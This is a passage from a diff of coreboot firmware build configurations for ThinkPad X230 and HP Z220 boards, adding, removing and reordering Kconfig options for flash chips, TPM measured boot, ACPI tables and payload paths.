CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +296,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +343,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +390,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +403,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +429,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +450,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +460,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +488,11 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -498,6 +502,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -531,7 +536,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -554,6 +564,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -599,6 +612,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -614,13 +628,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -645,6 +658,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -658,7 +675,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -666,6 +682,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index ae2cd583e..edffda538 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y @@ -64,6 +65,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -77,7 +79,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -95,7 +99,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -134,13 +136,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -151,6 +153,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +254,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +295,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +342,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +389,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set @@ -439,10 +447,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -453,21 +457,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -484,9 +485,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -496,6 +500,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -529,7 +534,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -552,6 +562,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -597,6 +610,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -612,13 +626,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -643,6 +656,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -656,7 +673,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -664,6 +680,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 0b14b62a7..a57660b06 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -66,6 +67,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -79,7 +81,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set CONFIG_VENDOR_HP=y # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set @@ -97,7 +101,6 @@ CONFIG_VENDOR_HP=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -125,7 +128,6 @@ CONFIG_POST_IO=y CONFIG_UART_FOR_CONSOLE=0 CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="z220_cmt_workstation" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -139,13 +141,13 @@ CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 # CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -157,9 +159,15 @@ CONFIG_ME_BIN_PATH="@BLOB_DIR@/z220/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=63 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y # CONFIG_BOARD_HP_280_G2 is not set # CONFIG_BOARD_HP_COMPAQ_8200_ELITE_SFF_PC is not set +# CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set +# CONFIG_BOARD_HP_ELITEBOOK_820_G2 is not set # CONFIG_BOARD_HP_FOLIO_9480M is not set +# CONFIG_BOARD_HP_2170P is not set # CONFIG_BOARD_HP_2560P is not set # CONFIG_BOARD_HP_2570P is not set # CONFIG_BOARD_HP_2760P is not set @@ -172,6 +180,7 @@ CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=63 CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y # CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set CONFIG_BOARD_HP_Z220_SERIES_COMMON=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -181,9 +190,13 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_TTYS0_BAUD=115200 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -226,29 +239,27 @@ 